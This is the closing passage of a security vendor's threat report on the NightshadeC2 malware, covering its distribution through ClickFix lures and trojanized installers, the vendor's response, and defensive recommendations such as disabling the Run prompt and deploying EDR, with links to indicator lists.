¢ Distribution occurs through two methods: ClickFix leveraging booking[.]Jcom-themed landing pages,
and trojanized legitimate software including CCleaner, Advanced IP Scanner, Everything, and VPN
setup packages.

e Technical note: Analysis environments with disabled Windows Defender protection fail to properly
execute the loader component.

e Threat actors continue to make use of existing and novel User Account Control (UAC) bypasses to
evade Windows Defender.

How eSentire is Responding

The eSentire Threat Response Unit (TRU) combines threat intelligence gained from research and security
incidents to create practical outcomes for our customers. We are taking a comprehensive response
approach to combat modern cybersecurity threats by deploying countermeasures, such as:

e Conducting global threat hunts to identify Indicators across our customer base, ensuring early
detection and mitigation of threats.

¢ Maintaining continuous threat intelligence monitoring through our Threat Response Unit (TRU), which
allows us to stay ahead of NightshadeC2 updates and adapt our MDR for Endpoint and MDR for
Network capabilities to address new variants and proactively defend against attack methods.

¢ Developing and implementing custom detection rules and prevention measures across our MDR
platform to identify and block NightshadeC2's unique signatures, injection techniques, and associated
malicious behaviors.

Our detection content is supported by investigation runbooks, ensuring our 24/7 SOC Cyber Analysts
respond rapidly to any intrusion attempts related to known malware Tactics, Techniques, and Procedures. In
addition, TRU closely monitors the threat landscape, constantly addresses capability gaps, and conducts
retroactive threat hunts to assess customer impact.

Recommendations from the Threat Response Unit (TRU)

e Disable the Run prompt via GPO:
o User Configuration > Administrative Templates > Start Menu and Taskbar > Enable “Remove
Run menu from Start Menu”
¢ Implementing Phishing and Security Awareness Training (PSAT) programs is crucial to educate
employees about emerging threats and mitigate the risk of successful social engineering attacks.
e Use a Next-Gen AV (NGAV) or Endpoint Detection and Response (EDR) solution to detect and contain
threats.

Indicators of Compromise
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https://undefined/what-we-do/threat-response-unit
https://undefined/resources/library/how-mdr-with-proactive-threat-hunting-improves-cyber-resilience
https://undefined/how-we-do-it/signals/mdr-for-endpoint
https://undefined/how-we-do-it/signals/mdr-for-network
https://undefined/what-we-do/security-operations-center
https://www.esentire.com/what-we-do/exposure-vulnerability-and-risk-management/technical-testing/security-awareness-training-managed-phishing-training
https://www.esentire.com/how-we-do-it/signals/mdr-for-endpoint

¢ Indicators of Compromise can be found here.

References

To learn how your organization can build cyber resilience and prevent business disruption with eSentire’s
Next Level MDR, connect with an eSentire Security Specialist now.

GET STARTED >

ABOUT ESENTIRE’S THREAT RESPONSE UNIT (TRU)

\‘1)

@il

The eSentire Threat Response Unit (TRU) is an industry-leading threat research team committed to helping
your organization become more resilient. TRU is an elite team of threat hunters and researchers that
supports our 24/7 Security Operations Centers (SOCs), builds threat detection models across the eSentire
XDR Cloud Platform, and works as an extension of your security team to continuously improve our Managed
Detection and Response service. By providing complete visibility across your attack surface and performing
global threat sweeps and proactive hypothesis-driven threat hunts augmented by original threat research, we
are laser-focused on defending your organization against known and unknown threats.
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https://raw.githubusercontent.com/eSentire/iocs/refs/heads/main/Nightshade/Nightshade-IoCs-09-01-2025.txt
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